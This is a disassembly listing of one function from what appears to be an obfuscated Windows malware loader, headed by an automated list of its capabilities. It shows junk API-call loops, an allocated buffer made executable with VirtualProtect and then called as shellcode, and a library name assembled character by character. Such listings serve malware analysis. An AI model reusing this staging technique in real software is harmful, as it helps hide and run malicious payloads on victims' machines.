Function at 0x4290e0
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes
Manipulate console buffer
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x42a2ec
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x29b0
call fcn.00412510
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
mov ebp, dword [esp + 0x2c]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffW]
xor esi, esi
cmp esi, 0x2d1a6
jge 0x429138
push 0
push 0
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call ebx
cmp dword [0x7b50f8], 0x6fb
jne 0x429150
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
cmp esi, 0x1e9af9f6
jle 0x42916d
cmp ebp, 0xc10b30
je 0x42916d
cmp dword [esp + 0xf4], 0x90503cc
jne 0x429176
inc esi
cmp esi, 0x83362
jl 0x42911e
cmp dword [0x7b50f8], 0xcf8
jne 0x4292f9
push 0
push 0
call fcn.00407711
xor ebp, ebp
push ebp
push ebp
call fcn.00415ae4
add esp, 0x10
lea eax, [esp + 0x48]
push eax
call fcn.00405aa0
push ebp
call fcn.00407a17
fldz
push ecx
fstp qword [esp]
call fcn.00407a50
fstp st(0)
push ebp
push ebp
call fcn.00407b71
push ebp
call fcn.004078ba
mov edx, dword [esp + 0x5c]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xb4]
add esp, 0x14
mov dword [esp + 0x3c], ecx
mov dword [esp + eax + 0x48], 0x404664
mov dword [esp + 0x29fc], ebp
test byte [esp + 0x98], 1
lea ecx, [esp + 0x58]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x58], 0x404624
je 0x429212
mov edx, dword [esp + 0x68]
mov eax, dword [edx]
push eax
call fcn.00407a39
add esp, 4
mov eax, dword [esp + 0x68]
mov dword [eax], ebp
mov ecx, dword [esp + 0x78]
mov dword [ecx], ebp
mov edx, dword [esp + 0x88]
mov dword [edx], ebp
mov eax, dword [esp + 0x6c]
mov dword [eax], ebp
mov ecx, dword [esp + 0x7c]
mov dword [ecx], ebp
mov edx, dword [esp + 0x8c]
mov dword [edx], ebp
and dword [esp + 0x98], 0xfffffffe
mov dword [esp + 0x94], ebp
mov dword [esp + 0x58], 0x4045dc
mov byte [esp + 0x29fc], 1
mov eax, dword [esp + 0x90]
mov ebx, eax
cmp eax, ebp
je 0x4292b3
mov edi, dword [eax]
cmp edi, ebp
je 0x4292aa
push ebp
lea ecx, [esp + 0x38]
call fcn.00406f32
mov eax, dword [edi + 4]
cmp eax, ebp
jbe 0x429288
cmp eax, 0xffffffff
jae 0x429288
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x34]
and esi, edi
call fcn.00406f5a
cmp esi, ebp
je 0x4292aa
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebx
call fcn.00407a39
add esp, 4
lea ecx, [esp + 0x5c]
mov byte [esp + 0x29fc], 0
call fcn.00406f8b
mov dword [esp + 0x29fc], 0xffffffff
mov eax, dword [esp + 0x48]
mov ecx, dword [eax + 4]
lea edx, [esp + 0xa0]
mov dword [esp + ecx + 0x48], 0x40461c
push edx
mov dword [esp + 0xa4], 0x4045c8
call fcn.00406b3e
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x429314
mov eax, 0x5d1
add dword [0x7b50f8], eax
cmp dword [0x7b50f8], 3
jne 0x42932b
push 0
push 0
lea eax, [esp + 0x1c8]
push eax
call edi
inc esi
cmp esi, 0x1518d4
jl 0x429301
mov ecx, dword [0x7b50f8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x43515c], eax
mov eax, dword [0x7b50f8]
xor esi, esi
test eax, eax
je 0x42939c
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
nop
cmp eax, 0xfe
jne 0x429373
push 0
lea edx, [esp + 0x1c4]
push edx
call ebx
call fcn.00428c20
mov eax, dword [0x7b50f8]
cmp eax, 0x29
jne 0x429397
push 0
push 0
lea eax, [esp + 0x1c8]
push eax
push 0
call edi
mov eax, dword [0x7b50f8]
inc esi
cmp esi, eax
jb 0x429360
cmp eax, 0x70
jne 0x4294bf
lea ecx, [esp + 0x21c0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0
push 0x40426c
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea edx, [esp + 0x9c0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
lea eax, [esp + 0x15c4]
push eax
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
push 0
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
lea ecx, [esp + 0x1c4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
lea edx, [esp + 0x40]
push edx
push 0
lea eax, [esp + 0xf0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0
push 0
call esi
push 0x404284
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
push 0x4042a4
push 0x4042c8
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
lea ecx, [esp + 0x19c4]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
push 0
push 0
lea edx, [esp + 0xdc8]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov eax, dword [0x7b50f8]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapDestroy]
mov dword [esp + 0x34], 0x9682ab
nop
cmp eax, 3
jne 0x42950e
push 0x40433c
push 0
lea eax, [esp + 0xdc8]
push eax
push 0x404350
push 0x404368
push 0x404384
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, dword [0x7b50f8]
cmp eax, 0xdf
jne 0x4295a0
push 0x4043b8
push 0
push 0
call edi
xor ecx, ecx
lea eax, [esp + 0x40]
push eax
push ecx
push ecx
lea edx, [esp + 0x1cc]
push edx
push ecx
mov dword [esp + 0x50], ecx
call ebp
lea eax, [esp + 0x44]
push eax
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x38]
push ecx
push 0
push 0
push 0
call esi
push 0x4043ec
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
push 0x404420
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0x4044ac
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [0x7b50f8]
dec dword [esp + 0x34]
jne 0x4294e0
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x4295b5
mov eax, dword [0x7b50f8]
mov ecx, dword [0x43515c]
lea edx, [esp + 0x38]
push edx
push 0x40
push eax
push ecx
mov byte [0x4303c8], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00428ed0
mov eax, 0x2641
add dword [0x43515c], eax
mov edx, 0x73
mov eax, 0x6d
mov word [0x7b410a], dx
mov word [0x7b410e], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x7b4112], cx
mov word [0x7b411e], ax
mov word [0x7b4110], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x7b4108
mov dword [0x7b4118], 0x6c0064
mov word [0x7b410c], ax
mov word [0x7b4108], cx
mov word [0x7b411c], dx
mov dword [0x7b4114], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x7b50f8], 0xc30
jne 0x42971f
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
lea edx, [esp + 0x9c0]
push edx
push 0x4044b4
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push esi
lea eax, [esp + 0x3c]
push eax
push esi
lea ecx, [esp + 0x1cc]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x4044e8
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [esp + 0xdc4]
push edx
push 0x4044f4
call esi
push 0
lea eax, [esp + 0x19c4]
push eax
push 0x404530
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea ecx, [esp + 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov edx, dword [esp + 0x38]
push 0
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
mov ecx, dword [esp + 0x29f4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret